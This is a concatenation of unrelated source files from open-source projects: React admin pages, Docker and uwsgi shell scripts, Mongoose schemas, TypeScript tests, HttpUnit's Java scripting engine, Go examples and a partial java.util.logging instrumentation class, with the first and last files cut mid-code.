net.community.chest.dom.transform.XmlConvertible#toXml(org.w3c.dom.Document) */ @Override public Element toXml (Document doc) throws Exception { throw new UnsupportedOperationException("toXml() N/A"); } }
/* eslint-disable no-param-reassign */ import React from 'react'; import PropTypes from 'prop-types'; import { Menu as AntDMenu } from 'antd'; import styles from './navItem.css'; const NavItem = (props) => { const { children, loading } = props; return ( <div className={loading ? styles.vdsNavItemLoading : styles.vdsNavItem}> <AntDMenu.Item icon {...props}> {children} </AntDMenu.Item> </div> ); }; NavItem.propTypes = { children: PropTypes.node, loading: PropTypes.bool, }; NavItem.defaultProps = { children: null, loading: false, }; export default NavItem;
CONTAINER_NAME="onap-as-a-service" IMAGE="unlenen/onap-as-a-service" ONAP_IP="192.168.135.171" has=$(docker ps -a | grep $CONTAINER_NAME) if [ ! -z "$has" ]; then docker stop $CONTAINER_NAME docker rm $CONTAINER_NAME fi docker run --name $CONTAINER_NAME -d -e ONAP_IP=$ONAP_IP -p 8080:8080 $IMAGE
import React from 'react'; import styles from './index.less'; const GlobalFooter = () => { return ( <div className={styles.globalFooter}>Dragon flowable 是业界最具影响力的 流程 引擎规范</div> ); }; export default GlobalFooter;
# Download and extract the Windows binary install # Requires innoextract installed in the Dockerfile mkdir r-win wget https://cloud.r-project.org/bin/windows/base/R-3.5.1-win.exe \ --output-document r-win/latest_r.exe cd r-win innoextract -e latest_r.exe mv app/* ../r-win rm -r app latest_r.exe # Remove unneccessary files TODO: What else? rm -r doc tests
<filename>node_modules/ts-toolbelt/out/List/Pop.d.ts import { List } from './List'; /** * Remove the last element out of `L` * @param L to remove from * @returns [[List]] * @example * ```ts * ``` */ export declare type Pop<L extends List> = L extends (readonly [...infer LBody, any] | readonly [...infer LBody, any?]) ? LBody : L;
<gh_stars>0 /* global File, HTMLInputElement */ import React, {useEffect, SyntheticEvent} from 'react'; import {generatePath, useParams} from 'react-router-dom'; import {ExtractRouteParams} from 'react-router'; import { Button, Form, Input, Modal, Typography, Row, Select, Checkbox, notification, Switch, DatePicker, TimePicker, } from 'antd'; import {appRoute} from '../../app-route'; import {useDocumentHook, useDocumentListHook, useFileHook} from '../../api/api-hook'; import {requiredFieldRule} from '../../util/form'; import {trim} from '../../util/string'; import {UserModelType} from './user-page-type'; export function UserPageEdit(): JSX.Element { const {userId} = useParams<ExtractRouteParams<typeof appRoute.userEdit.path, string>>(); const [form] = Form.useForm(); const {readDocumentById, updateDocument, isInProgress, result} = useDocumentHook<UserModelType>(); const {uploadFile} = useFileHook(); useEffect(() => { readDocumentById('user-model', userId); }, [readDocumentById, userId]); function getUserData(): UserModelType { const login = form.getFieldValue('login') || ''; const password = form.getFieldValue('password') || ''; const tagList = (form.getFieldValue('tag-list') || '').split(',').map(trim).filter(Boolean); const avatar = form.getFieldValue('avatar') || ''; return {login, password, userId, tagList, avatar}; } /* function onFormSubmit() { console.log('============================='); console.log(form.getFieldValue('title')); console.log('============================='); console.log('onFormSubmit - just button click', form); } */ function onFinishSuccess() { console.log('onFinishSuccess - success', form); const userData = getUserData(); updateDocument('user-model', userData) .then((data: UserModelType) => { console.log('updated - success'); console.log(userData); }) .catch((error: Error) => { console.log('error - success'); console.error(error); }); } function onFinishFailed() { console.log('onFormFinish - failed', form); } if (!result) { return <h1>Loading...</h1>; } return ( <div> <h1>User edit: {userId}</h1> <Form form={form} layout="vertical" onFinish={onFinishSuccess} onFinishFailed={onFinishFailed} // onSubmitCapture={onFormSubmit} > <Form.Item initialValue={result.login} label="User's login" name="login" rules={[requiredFieldRule]}> <Input/> </Form.Item> <Form.Item initialValue={result.password} label="User's password" name="password" rules={[requiredFieldRule]} > <Input/> </Form.Item> <Form.Item initialValue={result.tagList.join(', ')} label="User's tag list, use ',' to separate" name="tag-list" > <Input/> </Form.Item> <div> <Form.Item label="User's avatar" name="avatar"> <Input/> </Form.Item> <input onChange={(evt: SyntheticEvent<HTMLInputElement>) => { const input = evt.currentTarget; const {files} = input; if (!files) { return; } const [file] = files; if (!file) { return; } uploadFile(file) .then((fileName: string) => { form.setFieldsValue({avatar: fileName}); }) .catch(console.error); }} type="file" /> <img alt="" height="100" src={'/folder-for-files/' + result.avatar} width="100"/> <img alt="" height="100" src={'/image/90x60/' + result.avatar} width="100"/> </div> <Button htmlType="submit" type="primary"> Update </Button> </Form> </div> ); }
import React, { Component } from 'react'; import { connect } from 'dva'; import moment from 'moment'; import { Form, Divider, Modal, Table, Tabs, Button, Row, Col, Input, Upload, Icon, Message, Select, DatePicker, } from 'antd'; import PageHeaderLayout from '../../layouts/PageHeaderLayout'; import { baseUrl } from '../../utils/base'; const { Option } = Select; const FormItem = Form.Item; const { confirm } = Modal; const { TabPane } = Tabs; const { RangePicker } = DatePicker; const isSure = ['是', '否'] @connect(({ dragList, loading }) => ({ dragList, loading: loading.models.dragList, })) @Form.create() export default class GroupList extends Component { columnsIcon = [ { title: '名称', dataIndex: 'iconName', }, { title: '图片', dataIndex: 'imgSrc', render: record => <img src={record} alt="" style={{ width: 60, height: 60 }} />, }, { title: '跳转地址', dataIndex: 'jumpUrl', }, { title: '是否生效', dataIndex: 'status', render(val) { return <span>{status[val]}</span>; }, }, { title: 'icon顺序', dataIndex: 'sortRule', }, { title: '操作', render: (text, record) => ( <span> <Divider type="vertical" /> <a onClick={() => { this.toAddTab('editIcon', '添加Icon', record) }} > <Icon type="edit" style={{ fontSize: 16, color: '#08c' }} /> </a> </span> ), }, ]; columnsBanner = [ { title: '名称', dataIndex: 'bannerName', }, { title: '图片', dataIndex: 'imgSrc', render: record => <img src={record} alt="" style={{ width: 60, height: 60 }} />, }, { title: '上线时间', dataIndex: 'upTime', }, { title: '下线时间', dataIndex: 'downTime', }, { title: '跳转地址', dataIndex: 'jumpUrl', }, { title: '是否生效', dataIndex: 'status', render(val) { return <span>{status[val]}</span>; }, }, { title: '轮播图顺序', dataIndex: 'sortRule', }, { title: '操作', render: (text, record) => ( <span> <Divider type="vertical" /> <a onClick={() => { this.toAddTab('editBanner', '添加轮播图', record) }} > <Icon type="edit" style={{ fontSize: 16, color: '#08c' }} /> </a> </span> ), }, ]; state = { isVisible: false, fileList: [], groups: 'selectBanner', }; componentDidMount() { this.reload(); } reload = (type) => { const { groups } = this.state; let newType = type; if (!type) { newType = groups } const { dispatch } = this.props; dispatch({ type: `dragList/${newType}`, }); } tableChange = e => { this.setState({ groups: e, }); this.reload(e); }; toAddTab = (type, title, record) => { if (record) { this.setState({ record, }); } this.setState({ isVisible: true, type, title, }); }; fetchList = id => { const { dispatch } = this.props; dispatch({ type: 'search/searchlist', payload: { id }, }); }; changeDatePicker = (value, dateString) => { this.setState({ upTime: dateString[0], downTime: dateString[1], }) } createAddForm = (record, type) => { console.log(record, type); const that = this; const props = { name: 'file', action: `${baseUrl}/index/upload`, headers: { authorization: 'authorization-text', }, onChange(info) { that.setState({ fileList: info.fileList, }); if (info.file.status === 'done') { that.setState({ url: info.file.response.data, isEditFile: true, }); Message.success('上传成功'); } else if (info.file.status === 'error') Message.error('上传失败'); }, }; const { form: { getFieldDecorator }, } = this.props; const { fileList, url } = this.state; let html = ''; if (type) { const isBanner = type.indexOf('Banner') >= 0// 是对banner 还是 icon的操作 const isEdit = type.indexOf('edit') >= 0 // 是对add 还是 edit的操作 if (isBanner) { html = ( <Row gutter={{ md: 8, lg: 24, xl: 48 }}> <Col md={24} sm={24}> <FormItem label="banner名称"> {getFieldDecorator('bannerName', { rules: [{ required: true, message: '请输入banner名称!' }], initialValue: isEdit ? record.bannerName : '', })(<Input placeholder="请输入banner名称" />)} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="图片地址"> {getFieldDecorator('imgSrc', { rules: [{ required: true, message: '请输入图片地址!' }], initialValue: isEdit ? record.imgSrc : '', })( <div> <Upload {...props}> {fileList.length >= 1 ? null : ( <Button> <Icon type="upload" /> 上传 </Button> )} </Upload> <Input placeholder="请输入图片地址" value={url} style={{ width: 1, height: 1, opacity: 0 }} /> </div> )} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="生效失效时间"> {getFieldDecorator('time', { rules: [{ required: true, message: '请输入生效实效时间!' }], initialValue: isEdit ? [moment(record.upTime, 'YYYY-MM-DD HH:mm:ss'), moment(record.downTime, 'YYYY-MM-DD HH:mm:ss')] : '', })( <RangePicker showTime format="YYYY-MM-DD HH:mm:ss" placeholder={['开始时间', '结束时间']} onChange={this.changeDatePicker} /> )} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="排序规则 "> {getFieldDecorator('sortRule', { rules: [{ required: true, message: '请输入排序规则!' }], initialValue: isEdit ? record.sortRule : '', })(<Input type="number" placeholder="请输入排序" style={{ width: '100%' }} />)} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="跳转地址 "> {getFieldDecorator('jumpUrl', { rules: [{ required: true, message: '请输入跳转地址!' }], initialValue: isEdit ? record.jumpUrl : '', })(<Input placeholder="请输入跳转地址" style={{ width: '100%' }} />)} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="是否生效 "> {getFieldDecorator('status', { rules: [{ required: true, message: '请输入跳转地址!' }], initialValue: isEdit ? record.sortRule : '', })( <Select placeholder="是否生效" style={{ width: '100%' }} > <Option value="0">是</Option> <Option value="1">否</Option> </Select> )} </FormItem> </Col> </Row> ) } else { html = ( <Row gutter={{ md: 8, lg: 24, xl: 48 }}> <Col md={24} sm={24}> <FormItem label="Icon名称"> {getFieldDecorator('iconName', { rules: [{ required: true, message: '请输入Icon名称!' }], initialValue: isEdit ? record.iconName : '', })(<Input placeholder="请输入Icon名称" />)} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="图片地址"> {getFieldDecorator('imgSrc', { rules: [{ required: true, message: '请输入图片地址!' }], initialValue: isEdit ? record.imgSrc : '', })( <div> <Upload {...props}> {fileList.length >= 1 ? null : ( <Button> <Icon type="upload" /> 上传 </Button> )} </Upload> <Input placeholder="请输入图片地址" value={url} style={{ width: 1, height: 1, opacity: 0 }} /> </div> )} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="排序规则 "> {getFieldDecorator('sortRule', { rules: [{ required: true, message: '请输入排序规则!' }], initialValue: isEdit ? record.sortRule : '', })(<Input type="number" placeholder="请输入排序" style={{ width: '100%' }} />)} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="跳转地址 "> {getFieldDecorator('jumpUrl', { rules: [{ required: true, message: '请输入跳转地址!' }], initialValue: isEdit ? record.jumpUrl : '', })(<Input placeholder="请输入跳转地址" style={{ width: '100%' }} />)} </FormItem> </Col> <Col md={24} sm={24}> <FormItem label="是否生效 "> {getFieldDecorator('status', { rules: [{ required: true, message: '请输入跳转地址!' }], initialValue: isEdit ? record.status : '', })( <Select placeholder="是否生效" style={{ width: '100%' }} > <Option value="0">是</Option> <Option value="1">否</Option> </Select> )} </FormItem> </Col> </Row> ) } } console.log('html', html) return html; }; deleteTab = record => { const { id } = record || this.state; const { dispatch } = this.props; const that = this; const requestType = record ? 'second' : 'first'; confirm({ title: '确认删除该类目吗?', content: '你将要删除此类目', onOk() { dispatch({ type: 'group/removeGroup', payload: { id }, callback: () => { that.reload(requestType); }, }); }, onCancel() { }, }); }; handleCancel = () => { this.setState({ isVisible: false, fileList: [], isEditFile: false, }); }; handleOk = () => { const { id, type, record, upTime, downTime } = this.state; // const indexSort = type.indexOf('First'); // 哪一级类目 -1 二级 >=0 一级 // const indexType = type.indexOf('edit'); // 修改还是添加 -1 添加 >=0 修改 const isBanner = type.indexOf('Banner') >= 0// 是对banner 还是 icon的操作 const isEdit = type.indexOf('edit') >= 0 // 是对add 还是 edit的操作 const { form, dispatch } = this.props; const that = this; form.validateFields((err, values) => { console.log(err) if (!err) { console.log('============') const { isEditFile, url } = this.state; let params = {}; if (isBanner) { params = { ...values, upTime, downTime, imgSrc:url, } if (isEdit) { params = { ...params, upTime: params.time[0]['_i'], downTime: params.time[1]['_i'], id: record.id, } } } else { params = { ...values, imgSrc:url, }; if (isEdit) { params = { ...params, id: record.id, } } } if(!isEditFile) params = {...params, imgSrc: record.imgSrc }; // addBanner addIcon selectBanner selectIcon updateBannerList updateIconList const requestUrl = isEdit ? 'update' : 'add'; const requestType = isBanner ? 'Banner' : 'Icon'; delete params.time; console.log(params, 'params'); console.log(`${requestUrl}${requestType}`) dispatch({ type: `dragList/${requestUrl}${requestType}`, payload: params, callback: (response) => { console.log(response) const { code } = response; if(code === 0) Message.success('操作成功'); else Message.error('操作失败'); that.setState({ loading: false, isVisible: false, fileList: [], isEditFile: false, }); that.reload(); }, }); } }); }; showModal = (record, type, title) => { const { isVisible, loading } = this.state; return ( <Modal visible={isVisible} title={title} onOk={this.handleOk} onCancel={this.handleCancel} destroyOnClose footer={[ <Button key="back" onClick={this.handleCancel}> 取消 </Button>, <Button key="submit" type="primary" loading={loading} onClick={this.handleOk}> 提交 </Button>, ]} > {this.createAddForm(record, type)} </Modal> ); }; render() { const { dragList: { bannerList, iconList }, loading, } = this.props; const { record, type, title } = this.state; return ( <PageHeaderLayout title="类目管理"> {this.showModal(record, type, title)} <Tabs onChange={this.tableChange}> <TabPane tab='banner' key='selectBanner'> <Button type="primary" onClick={() => this.toAddTab('addBanner', '添加轮播图')}> 添加 </Button> <Table loading={loading} dataSource={bannerList.list} columns={this.columnsBanner} onChange={this.handleStandarTableChange} pagenation={bannerList.pagenation} /> </TabPane> <TabPane tab='icon' key='selectIcon'> <Button type="primary" onClick={() => this.toAddTab('addIcon', '添加Icon')}> 添加 </Button> <Table loading={loading} dataSource={iconList.list} columns={this.columnsIcon} onChange={this.handleStandarTableChange} pagenation={iconList.pagenation} /> </TabPane> </Tabs> </PageHeaderLayout> ); } }
<gh_stars>0 const mongoose = require('mongoose'); const CommentSchema = mongoose.Schema({ commenter_id: { type: Number, required: true }, likes: { type: Number, required: true, default: 0 }, date: { type: String, required: true }, content: { type: String, required: true } }) const PostSchema = mongoose.Schema({ title: { type: String, required: true }, date: { type: String, required: true }, poster_id: { type: Number, required: true }, likes: { type: Number, required: true, default: 0 }, op_name: { type: String, required: true, }, comments: [CommentSchema] }) const ForumSchema = mongoose.Schema({ title: { type: String, required: true, }, description: { type: String, required: true }, longDescription: String, rankings: String, followers: Array, posts: [PostSchema] }) const CompetitionSchema = mongoose.Schema({ competitor_id: { type: Number, required: true }, competitor_name: { type: String, required: true }, days: { type: Number, required: true } }) const HabitsSchema = mongoose.Schema({ habit_id: { type: Number, required: true }, name: { type: String, required: true }, caption: String, longDescription: String, competitions: [CompetitionSchema], forum: { type: ForumSchema, required: true } }, {collection : 'Habits'}) module.exports = mongoose.model("Habits", HabitsSchema);
<reponame>tidev/titanium-editor-commons import { environment } from '../src'; import * as util from '../src/util'; import { expect } from 'chai'; import mockFS from 'mock-fs'; import nock from 'nock'; import { mockNode, mockNpmCli, mockSdkList } from './util'; import sinon from 'sinon'; describe('environment', () => { let sandbox: sinon.SinonSandbox; beforeEach(() => { sandbox = sinon.createSandbox(); mockFS.restore(); }); afterEach(() => { nock.cleanAll(); mockFS.restore(); sandbox.restore(); }); describe('validateEnvironment', () => { it('validateEnvironment with all installed component ', async () => { const stub = sandbox.stub(util, 'exec'); mockNode(stub, '12.18.2'); mockSdkList(stub, '7.5.0'); mockNpmCli(stub, 'titanium', '5.3.0'); mockNpmCli(stub, 'alloy', '1.15.3'); const env = await environment.validateEnvironment(); expect(env.missing).to.deep.equal([]); expect(env.installed).to.deep.equal( [ { name: 'Node.js', version: '12.18.2' }, { name: 'Alloy', version: '1.15.3' }, { name: 'Titanium CLI', version: '5.3.0' }, { name: 'Titanium SDK', version: '7.5.0.GA' } ] ); }); it('validateEnvironment with no installed SDKS', async () => { const stub = sandbox.stub(util, 'exec'); mockNode(stub, '12.18.1'); mockNpmCli(stub, 'titanium', '5.3.0'); mockNpmCli(stub, 'alloy', '1.15.3'); mockSdkList(stub, undefined); const env = await environment.validateEnvironment(); expect(env.missing[0].name).to.deep.equal('Titanium SDK'); expect(env.installed).to.deep.equal( [ { name: 'Node.js', version: '12.18.1' }, { name: 'Alloy', version: '1.15.3' }, { name: 'Titanium CLI', version: '5.3.0' }, ] ); }); it('validateEnvironment with no Node.js', async () => { const stub = sandbox.stub(util, 'exec'); mockNode(stub, undefined); const env = await environment.validateEnvironment(); expect(env.missing.length).to.deep.equal(1); expect(env.missing[0].name).to.deep.equal('Node.js'); expect(env.installed.length).to.equal(0); }); it('should detect Titanium and Alloy CLI when not installed', async () => { const stub = sandbox.stub(util, 'exec'); mockNode(stub, '12.18.1'); mockNpmCli(stub, 'alloy', undefined); mockNpmCli(stub, 'titanium', undefined); const env = await environment.validateEnvironment(undefined); expect(env.missing.length).to.equal(3); expect(env.missing[0].name).to.equal('Alloy'); expect(env.missing[1].name).to.equal('Titanium CLI'); expect(env.missing[2].name).to.equal('Titanium SDK'); // SDK is coupled to CLI detection expect(env.installed).to.deep.equal( [ { name: 'Node.js', version: '12.18.1' } ] ); }); }); });
<filename>RRTS/HttpUnit/httpunit-1.7/src/com/meterware/httpunit/javascript/ScriptingEngineImpl.java<gh_stars>0 package com.meterware.httpunit.javascript; /******************************************************************************************************************** * $Id: ScriptingEngineImpl.java 839 2008-03-29 23:30:13Z wolfgang_fahl $ * * Copyright (c) 2006-2008, <NAME> * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated * documentation files (the "Software"), to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and * to permit persons to whom the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO * THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. * *******************************************************************************************************************/ import org.mozilla.javascript.*; import com.meterware.httpunit.scripting.ScriptingEngine; import com.meterware.httpunit.HttpUnitUtils; import com.meterware.httpunit.ScriptException; import java.util.ArrayList; /** * * @author <a href="mailto:<EMAIL>"><NAME></a> **/ public abstract class ScriptingEngineImpl extends ScriptableObject implements ScriptingEngine { private final static Object[] NO_ARGS = new Object[0]; private static ArrayList _errorMessages = new ArrayList(); static public void clearErrorMessages() { _errorMessages.clear(); } static public String[] getErrorMessages() { return (String[]) _errorMessages.toArray( new String[ _errorMessages.size() ] ); } /** * handle Exceptions * @param e - the exception to handle * @param badScript - the script that caused the problem */ static public void handleScriptException( Exception e, String badScript ) { final String errorMessage = badScript + " failed: " + e; if (!(e instanceof EcmaError) && !(e instanceof EvaluatorException)) { HttpUnitUtils.handleException(e); throw new RuntimeException( errorMessage ); } else if (JavaScript.isThrowExceptionsOnError()) { HttpUnitUtils.handleException(e); throw new ScriptException( errorMessage ); } else { _errorMessages.add( errorMessage ); } } //--------------------------------------- ScriptingEngine methods ------------------------------------------------------ public boolean supportsScriptLanguage( String language ) { return language == null || language.toLowerCase().startsWith( "javascript" ); } /** * run the given script * @param language - the language of the script * @param script - the script to run */ public String runScript( String language, String script ) { if (!supportsScriptLanguage( language )) return ""; try { script = script.trim(); if (script.startsWith( "<!--" )) { script = withoutFirstLine( script ); if (script.endsWith( "-->" )) script = script.substring( 0, script.lastIndexOf( "-->" )); } Context context = Context.enter(); context.initStandardObjects( null ); context.evaluateString( this, script, "httpunit", 0, null ); return getDocumentWriteBuffer(); } catch (Exception e) { handleScriptException( e, "Script '" + script + "'" ); return ""; } finally { discardDocumentWriteBuffer(); Context.exit(); } } /** * handle the event that has the given script attached * by compiling the eventScript as a function and executing it * @param eventScript - the script to use * @deprecated since 1.7 - use doEventScript instead */ public boolean doEvent( String eventScript ) { return doEventScript(eventScript); } /** * handle the event that has the given script attached * by compiling the eventScript as a function and executing it * @param eventScript - the script to use */ public boolean doEventScript( String eventScript ) { if (eventScript.length() == 0) { return true; } else { try { Context context = Context.enter(); context.initStandardObjects( null ); context.setOptimizationLevel( -1 ); // wrap the eventScript into a function Function f = context.compileFunction( this, "function x() { " + eventScript + "}", "httpunit", 0, null ); // call the function with no arguments Object result = f.call( context, this, this, NO_ARGS ); // return the result of the function or false if it is not boolean return (!(result instanceof Boolean)) || ((Boolean) result).booleanValue(); } catch (Exception e) { handleScriptException( e, "Event '" + eventScript + "'" ); return false; } finally { Context.exit(); } } // if } /** * get the event Handler script for the event e.g. onchange, onmousedown, onclick, onmouseup * execute the script if it's assigned by calling doEvent for the script * @param eventName * @return */ public boolean handleEvent(String eventName) { throw new RuntimeException("pseudo - abstract handleEvent called "); } /** * Evaluates the specified string as JavaScript. Will return null if the script has no return value. * @param expression - the expression to evaluate */ public Object evaluateExpression( String expression ) { try { Context context = Context.enter(); context.initStandardObjects( null ); Object result = context.evaluateString( this, expression, "httpunit", 0, null ); return (result == null || result instanceof Undefined) ? null : result; } catch (Exception e) { handleScriptException( e, "URL '" + expression + "'" ); return null; } finally { Context.exit(); } } //------------------------------------------ protected methods --------------------------------------------------------- protected String getDocumentWriteBuffer() { throw new IllegalStateException( "may not run runScript() from " + getClass() ); } protected void discardDocumentWriteBuffer() { throw new IllegalStateException( "may not run runScript() from " + getClass() ); } private String withoutFirstLine( String script ) { for (int i=0; i < script.length(); i++) { if (isLineTerminator( script.charAt(i) )) return script.substring( i ).trim(); } return ""; } private boolean isLineTerminator( char c ) { return c == 0x0A || c == 0x0D; } }
<filename>chromium_test.go package chromium_test import ( "fmt" chromium "github.com/kasperisager/chromium" ) func ExampleNew() { chromium.New("google-chrome", chromium.Port(9222)) } func ExampleNew_flags() { chromium.New("google-chrome", chromium.Port(9222), chromium.WindowSize(1920, 1080)) } func ExampleNew_ephemeral() { browser := chromium.New("google-chrome") port, err := browser.Start() if err != nil { // Handle err } fmt.Println(port) }
def factorial(n): if n == 0: return 1 else: return n * factorial(n-1)
package de.cpg.oss.verita.event; import java.util.UUID; /** * Interceptor interface which allows custom behaviour for {@link EventHandler}s and the * {@link de.cpg.oss.verita.service.EventBus}. */ public interface EventHandlerInterceptor { enum Decision { PROCEED, STOP } /** * Called before each call to {@link EventHandler#handle(Event, UUID, int)} * * @return Either {@link de.cpg.oss.verita.event.EventHandlerInterceptor.Decision#PROCEED} if event handling should * continue or {@link de.cpg.oss.verita.event.EventHandlerInterceptor.Decision#STOP} if it should be stopped */ Decision beforeHandle(Event event, UUID eventId, int sequenceNumber); /** * Called after each call to {@link EventHandler#handle(Event, UUID, int)} * Note that if {@link EventHandlerInterceptor#beforeHandle(Event, UUID, int)} stopped further event handling, this * method will also not be called. * */ void afterHandle(Event event, UUID eventId, int sequenceNumber); /** * Called after each successful start of a subscription via * {@link de.cpg.oss.verita.service.EventBus#subscribeTo(EventHandler)} or * {@link de.cpg.oss.verita.service.EventBus#subscribeToStartingFrom(EventHandler, int)} * */ void afterSubscribeTo(EventHandler<? extends Event> eventHandler); }
/* * Copyright 2015 Textocat * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.textocat.textokit.postagger.opennlp; import java.util.jar.Attributes; import java.util.jar.Manifest; /** * @author <NAME> */ public class POSModelJarManifestBean { // ME ~ Manifest Entry public static final String ME_LANGUAGE = "Textokit-OpenNLP-MaxEnt-PoS-Language"; public static final String ME_VARIANT = "Textokit-OpenNLP-MaxEnt-PoS-Variant"; public static POSModelJarManifestBean readFrom(Manifest m) { String lang = m.getMainAttributes().getValue(ME_LANGUAGE); String modelVariant = m.getMainAttributes().getValue(ME_VARIANT); return new POSModelJarManifestBean(lang, modelVariant); } private String languageCode; private String modelVariant; public POSModelJarManifestBean(String languageCode, String modelVariant) { this.languageCode = languageCode; this.modelVariant = modelVariant; } public String getLanguageCode() { return languageCode; } public String getModelVariant() { return modelVariant; } public Manifest toManifest() { Manifest res = new Manifest(); Attributes attrs = res.getMainAttributes(); attrs.putValue(Attributes.Name.MANIFEST_VERSION.toString(), "1.0"); attrs.putValue(ME_LANGUAGE, languageCode); attrs.putValue(ME_VARIANT, modelVariant); return res; } }
#!/usr/bin/env bash cur_dir=$(dirname "$0") echo $cur_dir cd ${cur_dir} KDFS_PID="/var/run/ldfs/ldfs.pid" if [ -e ${KDFS_PID} ];then uwsgi3 --stop ${KDFS_PID} rm -rf ${KDFS_PID} sleep 1 echo "OK." fi uwsgi_pid=`ps aux|grep "ldfs"|grep -v "grep"|awk '{print $2}'` [ -z ${uwsgi_pid} ] && echo "ldfs is not running" || kill -9 ${uwsgi_pid} cd - >/dev/null 2>&1
#!/usr/bin/env bash docker build -t fint-model --build-arg VERSION=0.$(date +%y%m%d.%H%M) .
<gh_stars>0 import React from 'react'; import styled from 'styled-components'; interface IProps {} const Styled = styled.button` width: 9px; height: 100%; margin-right: 15px; `; const ArrowLeftVector = React.memo((props: any) => { return ( <svg width={9} height={16}> <path d="M7.912 15.283a.788.788 0 00.809-.8.826.826 0 00-.238-.57L2.085 7.653l6.398-6.258a.843.843 0 00.238-.57c0-.458-.352-.8-.809-.8a.782.782 0 00-.571.228L.37 7.074a.778.778 0 00-.246.58c0 .22.08.413.246.58l6.97 6.812c.15.158.343.237.571.237z" fill="#000" fillRule="nonzero" {...props} /> </svg> ); }); const ArrowLeft = (props: IProps & React.ButtonHTMLAttributes<HTMLButtonElement>) => { return ( <Styled {...props}> <ArrowLeftVector /> </Styled> ); }; export default ArrowLeft;
<gh_stars>1-10 var __extends = this.__extends || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } __.prototype = b.prototype; d.prototype = new __(); }; if (typeof __decorate !== "function") __decorate = function (decorators, target, key, desc) { if (typeof Reflect === "object" && typeof Reflect.decorate === "function") return Reflect.decorate(decorators, target, key, desc); switch (arguments.length) { case 2: return decorators.reduceRight(function(o, d) { return (d && d(o)) || o; }, target); case 3: return decorators.reduceRight(function(o, d) { return (d && d(target, key)), void 0; }, void 0); case 4: return decorators.reduceRight(function(o, d) { return (d && d(target, key, o)) || o; }, desc); } }; var contentView = require("ui/content-view"); var viewModule = require("ui/core/view"); var utils = require("utils/utils"); var Border = (function (_super) { __extends(Border, _super); function Border() { _super.apply(this, arguments); } Object.defineProperty(Border.prototype, "cornerRadius", { get: function () { return this.borderRadius; }, set: function (value) { this.borderRadius = value; }, enumerable: true, configurable: true }); Border.prototype.onMeasure = function (widthMeasureSpec, heightMeasureSpec) { var width = utils.layout.getMeasureSpecSize(widthMeasureSpec); var widthMode = utils.layout.getMeasureSpecMode(widthMeasureSpec); var height = utils.layout.getMeasureSpecSize(heightMeasureSpec); var heightMode = utils.layout.getMeasureSpecMode(heightMeasureSpec); var density = utils.layout.getDisplayDensity(); var borderSize = (2 * this.borderWidth) * density; var result = viewModule.View.measureChild(this, this.content, utils.layout.makeMeasureSpec(width - borderSize, widthMode), utils.layout.makeMeasureSpec(height - borderSize, heightMode)); var widthAndState = viewModule.View.resolveSizeAndState(result.measuredWidth + borderSize, width, widthMode, 0); var heightAndState = viewModule.View.resolveSizeAndState(result.measuredHeight + borderSize, height, heightMode, 0); this.setMeasuredDimension(widthAndState, heightAndState); }; Border.prototype.onLayout = function (left, top, right, bottom) { var density = utils.layout.getDisplayDensity(); var borderSize = this.borderWidth * density; viewModule.View.layoutChild(this, this.content, borderSize, borderSize, right - left - borderSize, bottom - top - borderSize); }; Border = __decorate([ Deprecated ], Border); return Border; })(contentView.ContentView); exports.Border = Border;
#!/bin/zsh GOARCH=amd64 GOOS=linux go build -ldflags '-w -s' -o tcp-tunnle-server
/* * Copyright 2017-2019 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.glowroot.instrumentation.jul; import java.util.HashMap; import java.util.Map; import java.util.logging.Formatter; import java.util.logging.Level; import java.util.logging.LogRecord; import java.util.logging.Logger; import org.glowroot.instrumentation.api.Agent; import org.glowroot.instrumentation.api.Message; import org.glowroot.instrumentation.api.MessageSupplier; import org.glowroot.instrumentation.api.OptionalThreadContext; import org.glowroot.instrumentation.api.Timer; import org.glowroot.instrumentation.api.TimerName; import org.glowroot.instrumentation.api.checker.Nullable; import org.glowroot.instrumentation.api.weaving.Advice; import org.glowroot.instrumentation.api.weaving.Bind; public class JavaUtilLoggingInstrumentation { private static final TimerName TIMER_NAME = Agent.getTimerName("logging"); private static final Formatter formatter = new DummyFormatter(); @Advice.Pointcut(className = "java.util.logging.Logger", methodName = "log", methodParameterTypes = {"java.util.logging.LogRecord"}, nestingGroup = "logging") public static class LogAdvice { @Advice.IsEnabled public static boolean isEnabled(@Bind.Argument(0) @Nullable LogRecord record) { return record != null && LoggerInstrumentationProperties.captureLevel(record.getLevel()); } // cannot use java.util.logging.Logger in the signature of this method because that triggers // java.util.logging.Logger to be loaded before weaving is put in place (from inside // 